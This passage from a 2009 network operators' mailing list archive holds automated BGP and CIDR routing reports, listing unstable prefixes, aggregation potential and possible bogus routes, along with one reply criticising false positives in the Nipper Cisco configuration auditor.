Ltd TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS6629 43772 1.0% 7295.3 -- NOAA-AS - NOAA 2 - AS19017 5078 0.1% 5078.0 -- QUALCOMM-QWBS-LV - Qualcomm, Inc. 3 - AS8225 4678 0.1% 4678.0 -- ASTELIT-MSK-AS Astelit Autonomous System 4 - AS46653 13420 0.3% 4473.3 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 5 - AS28194 4227 0.1% 4227.0 -- 6 - AS7717 17693 0.4% 3538.6 -- OPENIXP-AS-ID-AP OpenIXP ASN 7 - AS6312 3283 0.1% 3283.0 -- WESTWORLD-AS - WestWorld Media, LLC 8 - AS41343 5906 0.1% 2953.0 -- TRIUNFOTEL-ASN TRIUNFOTEL 9 - AS5691 10368 0.2% 2592.0 -- MITRE-AS-5 - The MITRE Corporation 10 - AS30306 10145 0.2% 2536.2 -- AfOL-Sz-AS 11 - AS5050 24782 0.6% 2478.2 -- PSC-EXT - Pittsburgh Supercomputing Center 12 - AS8755 2065 0.1% 2065.0 -- CITYLINESPB-AS CityLine-SPb Autonomous System 13 - AS30552 1981 0.1% 1981.0 -- SAINT-JOSEPHS-HOSPITAL-OF-ATLANTA - Saint Joseph's Hospital of Atlanta 14 - AS32398 14773 0.3% 1846.6 -- REALNET-ASN-1 15 - AS42291 6832 0.2% 1708.0 -- ISTRANET-AS Istranet LLC 16 - AS46328 15184 0.3% 1687.1 -- PTCNEBRASKA - PIERCE TELEPHONE COMPANY, INCORPORATED 17 - AS14223 3081 0.1% 1540.5 -- NYSDOH - New York State Department of Health 18 - AS20925 4468 0.1% 1489.3 -- RESEAU-DANZAS DANZAS Autonomous System 19 - AS30520 5756 0.1% 1439.0 -- NUANCE-SOMERVILLE - NUANCE COMMUNICATIONS, INC 20 - AS40344 1379 0.0% 1379.0 -- PROSK-1 - Pro Sky Wireless TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 72.23.246.0/24 24682 0.5% AS5050 -- PSC-EXT - Pittsburgh Supercomputing Center 2 - 121.101.184.0/24 17606 0.4% AS38785 -- BAGUSNET-AS-ID PT. BORNEO BROADBAND TECHNOLOGY AS7717 -- OPENIXP-AS-ID-AP OpenIXP ASN 3 - 192.35.129.0/24 14652 0.3% AS6629 -- NOAA-AS - NOAA 4 - 41.204.2.0/24 14602 0.3% AS32398 -- REALNET-ASN-1 5 - 192.102.88.0/24 14558 0.3% AS6629 -- NOAA-AS - NOAA 6 - 198.77.177.0/24 14550 0.3% AS6629 -- NOAA-AS - NOAA 7 - 199.45.13.0/24 13396 0.3% AS46653 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 8 - 222.255.51.64/26 10746 0.2% AS7643 -- VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 9 - 192.12.120.0/24 10352 0.2% AS5691 -- MITRE-AS-5 - The MITRE Corporation 10 - 210.214.222.0/24 8555 0.2% AS9583 -- SIFY-AS-IN Sify Limited 11 - 221.135.105.0/24 8528 0.2% AS9583 -- SIFY-AS-IN Sify Limited 12 - 210.214.232.0/24 8505 0.2% AS9583 -- SIFY-AS-IN Sify Limited 13 - 210.214.156.0/24 8473 0.2% AS9583 -- SIFY-AS-IN Sify Limited 14 - 210.214.177.0/24 8427 0.2% AS9583 -- SIFY-AS-IN Sify Limited 15 - 210.214.184.0/24 8377 0.2% AS9583 -- SIFY-AS-IN Sify Limited 16 - 210.214.132.0/24 8357 0.2% AS9583 -- SIFY-AS-IN Sify Limited 17 - 210.214.146.0/24 8332 0.2% AS9583 -- SIFY-AS-IN Sify Limited 18 - 210.210.127.0/24 8252 0.2% AS9583 -- SIFY-AS-IN Sify Limited 19 - 210.214.117.0/24 8238 0.2% AS9583 -- SIFY-AS-IN Sify Limited 20 - 202.92.235.0/24 7992 0.2% AS9498 -- BBIL-AP BHARTI Airtel Ltd. Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Apr 3 07:00:02 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 3 Apr 2009 22:00:02 +1000 (EST) Subject: The Cidr Report Message-ID: <200904031200.n33C02AO095912@wattle.apnic.net> This report has been generated at Fri Apr 3 21:13:56 2009 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 28-03-09 290916 181486 29-03-09 291158 181718 29-03-09 291185 181603 30-03-09 291111 181799 31-03-09 291239 181735 01-04-09 291373 181653 02-04-09 291095 181869 03-04-09 291003 181954 AS Summary 31017 Number of ASes in routing system 13146 Number of ASes announcing only one prefix 4312 Largest number of prefixes announced by an AS AS6389 : BELLSOUTH-NET-BLK - BellSouth.net Inc. 89615616 Largest address span announced by an AS (/32s) AS27064: DDN-ASNBLK1 - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 03Apr09 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 291170 181941 109229 37.5% All ASes AS6389 4312 361 3951 91.6% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4254 1681 2573 60.5% TWTC - tw telecom holdings, inc. AS209 2658 1159 1499 56.4% ASN-QWEST - Qwest Communications Corporation AS4766 1793 511 1282 71.5% KIXS-AS-KR Korea Telecom AS17488 1538 353 1185 77.0% HATHWAY-NET-AP Hathway IP Over Cable Internet AS22773 1020 65 955 93.6% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS8452 1232 292 940 76.3% TEDATA TEDATA AS4755 1179 278 901 76.4% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS8151 1445 563 882 61.0% Uninet S.A. de C.V. AS1785 1742 927 815 46.8% AS-PAETEC-NET - PaeTec Communications, Inc. AS19262 971 242 729 75.1% VZGNI-TRANSIT - Verizon Internet Services Inc. AS7545 806 205 601 74.6% TPG-INTERNET-AP TPG Internet Pty Ltd AS6478 1310 729 581 44.4% ATT-INTERNET3 - AT&T WorldNet Services AS855 643 78 565 87.9% CANET-ASN-4 - Bell Aliant AS11492 1202 642 560 46.6% CABLEONE - CABLE ONE, INC. AS18101 754 216 538 71.4% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS3356 1193 660 533 44.7% LEVEL3 Level 3 Communications AS2706 544 26 518 95.2% HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited AS6517 747 256 491 65.7% RELIANCEGLOBALCOM - Reliance Globalcom Services, Inc AS22047 607 119 488 80.4% VTR BANDA ANCHA S.A. AS4808 618 164 454 73.5% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS17908 603 150 453 75.1% TCISL Tata Communications AS16814 594 143 451 75.9% NSS S.A. AS4804 494 64 430 87.0% MPX-AS Microplex PTY LTD AS24560 680 251 429 63.1% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS9443 523 95 428 81.8% INTERNETPRIMUS-AS-AP Primus Telecommunications AS7018 1442 1016 426 29.5% ATT-INTERNET4 - AT&T WorldNet Services AS17676 561 137 424 75.6% GIGAINFRA BB TECHNOLOGY Corp. AS4668 694 283 411 59.2% LGNET-AS-KR LG CNS AS7011 959 553 406 42.3% FRONTIER-AND-CITIZENS - Frontier Communications of America, Inc. Total 37118 12219 24899 67.1% Top 30 total Possible Bogus Routes 24.75.116.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 24.245.128.0/17 AS11492 CABLEONE - CABLE ONE, INC. 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 41.220.16.0/20 AS8668 TELONE-AS TelOne Zimbabwe P/L 41.223.112.0/22 AS5713 SAIX-NET 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.31.32.0/19 AS11955 SCRR-11955 - Road Runner HoldCo LLC 64.31.32.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.36.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.38.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.40.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.42.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.44.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.46.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.48.0/22 AS11060 NEO-RR-COM - Road Runner HoldCo LLC 64.31.53.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.55.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.59.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.31.60.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.79.88.0/24 AS26096 LODDEN - Lodden Services 64.79.89.0/24 AS26096 LODDEN - Lodden Services 64.147.64.0/19 AS40156 THEOPT-HOU - The Optimal Link Corporation 64.186.0.0/19 AS6371 AMERICATEL - Americatel Corporation 64.186.6.0/24 AS6371 AMERICATEL - Americatel Corporation 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 68.69.160.0/20 AS6315 XMISSION - XMission, L.C. 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 70.36.64.0/20 AS6594 MCTI-1 - MICROSERV COMPUTER TECHNOLOGIES, INC. 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 95.158.0.0/18 AS35362 BEST Best ISP 95.215.220.0/22 AS48044 CHITA-ON-LINE-AS snake at chitaonline.ru 98.96.0.0/13 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 109.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 114.129.128.0/18 AS7477 TEREDONN-AS-AP SkyMesh Pty Ltd 114.129.160.0/19 AS7477 TEREDONN-AS-AP SkyMesh Pty Ltd 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 122.128.120.0/22 AS38456 PACTEL-AS-AP Pacific Teleports. 137.0.0.0/13 AS27064 DDN-ASNBLK1 - DoD Network Information Center 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 178.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service G-WiN 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.153.144.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.32.96.0/20 AS6453 GLOBEINTERNET TATA Communications 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.97.72.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.96.0/19 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.240.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.10.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.0.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.128.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.0.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.16.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.80.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 201.229.64.0/22 AS11816 SetarNet 202.6.176.0/20 AS24316 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.72.40.0/24 AS38205 202.72.41.0/24 AS38205 202.72.47.0/24 AS38205 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.122.120.0/21 AS17494 BTTB-AS-AP Telecom Operator & Internet Service Provider as well 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.140.160.0/24 AS4841 202.140.161.0/24 AS4841 202.140.162.0/24 AS4841 202.140.163.0/24 AS4841 202.140.164.0/24 AS4841 202.140.165.0/24 AS4841 202.140.166.0/24 AS4841 202.140.167.0/24 AS4841 202.140.168.0/24 AS4841 202.140.169.0/24 AS4841 202.140.170.0/24 AS4841 202.140.171.0/24 AS4841 202.140.172.0/24 AS4841 202.140.173.0/24 AS4841 202.140.174.0/24 AS4841 202.140.175.0/24 AS4841 202.140.180.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.181.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.182.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecommunications Ltd 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.154.0/23 AS9583 SIFY-AS-IN Sify Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.13.141.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.143.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.184.0/23 AS35967 204.13.186.0/23 AS35967 204.13.186.0/24 AS35967 204.13.187.0/24 AS35967 204.19.14.0/23 AS577 BACOM - Bell Canada 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS30715 NETRACK - Netrack, Inc. 207.174.132.0/23 AS30715 NETRACK - Netrack, Inc. 207.174.151.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.152.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.158.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.177.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.178.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.182.0/24 AS29831 FONENET - FONE NET, LLC 207.174.188.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.192.0/24 AS29831 FONENET - FONE NET, LLC 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 209.54.93.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.111.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.74.96.0/19 AS10912 INTERNAP-BLK - Internap Network Services Corporation 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.140.224.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.234.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.235.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.236.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.237.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.238.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.239.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.16.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 209.177.93.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 209.177.94.0/24 AS8088 SRTNET - SRT ENTERPRISES 209.222.5.0/24 AS26699 PSI-CT - Printing For Systems Inc 209.222.6.0/24 AS26699 PSI-CT - Printing For Systems Inc 209.236.64.0/19 AS7911 LVLT-7911 - Level 3 Communications, Inc. 209.236.96.0/19 AS7911 LVLT-7911 - Level 3 Communications, Inc. 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.210.86.0/24 AS577 BACOM - Bell Canada 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.67.144.0/20 AS42630 NUMEO NUMEO Internet Services 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From chrismcc at pricegrabber.com Fri Apr 3 11:36:46 2009 From: chrismcc at pricegrabber.com (Christopher) Date: Fri, 03 Apr 2009 09:36:46 -0700 Subject: Nipper and Cisco configuration results In-Reply-To: <46371.48938.qm@web30807.mail.mud.yahoo.com> References: <46371.48938.qm@web30807.mail.mud.yahoo.com> Message-ID: <1238776606.27025.16.camel@christopher-laptop> On Thu, 2009-04-02 at 15:33 -0700, Subba Rao wrote: > I am using Nipper for verifying my Cisco configuration. Nipper is > finding the "rlogin" service that is not in the configuration. I have > searched the access lists and do not see it anywhere. The explanation > by Nipper about this finding, "....Telnet protocol implemented by this > service...." is confusing. The problem, IMHO, is nipper. You might or might not have the rlogin service enabled, but nipper has so many false positives I find is almost useless. In my case, it caught some obvious things I had forgotten to do, but everything else was useless. For instance from the nipper source code: struct vulnerability report_vuln_ios11 = {9, 0, 0, 12, 4, 0, "CVE-2007-0479", "22208", "IPv4 TCP listener denial of service", true, false, vuln_req_none, false, &report_vuln_ios12}; What the above means to nipper is any IOS version 12.0.x, 12.1.x, 12.2.x, 12.3.x is vulnerable, while every 12.4.x version is OK. This is obviously false on *both* counts. http://www.cisco.com/en/US/products/products_security_advisory09186a00807cb0e4.shtml I spent a lot of time trying to explain this to $corporate audit guy that had never even logged into a router, let alone had to choose a stable IOS version for 6500/7600 class hardware. > Here is the Nipper's output: > > Thank you in advance for any help. > > Subba Rao -- Christopher McCrory "The guy that keeps the servers running" chrismcc at pricegrabber.com http://www.pricegrabber.com To the optimist, the glass is half full. To the pessimist, the glass is half empty. To the engineer, the glass is twice as big as it needs to be. From cscora at apnic.net Fri Apr 3 13:14:51 2009 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 4 Apr 2009 04:14:51 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200904031814.n33IEpd3013695@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 04 Apr, 2009 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 284279 Prefixes after maximum aggregation: 134697 Deaggregation factor: 2.11 Unique aggregates announced to Internet: 139818 Total ASes present in the Internet Routing Table: 30933 Prefixes per ASN: 9.19 Origin-only ASes present in the Internet Routing Table: 26928 Origin ASes announcing only one prefix: 13076 Transit ASes present in the Internet Routing Table: 4005 Transit-only ASes present in the Internet Routing Table: 98 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 28 Max AS path prepend of ASN (12445) 18 Prefixes from unregistered ASNs in the Routing Table: 470 Unregistered ASNs in the Routing Table: 159 Number of 32-bit ASNs allocated by the RIRs: 138 Prefixes from 32-bit ASNs in the Routing Table: 19 Special use prefixes present in the Routing Table: 0 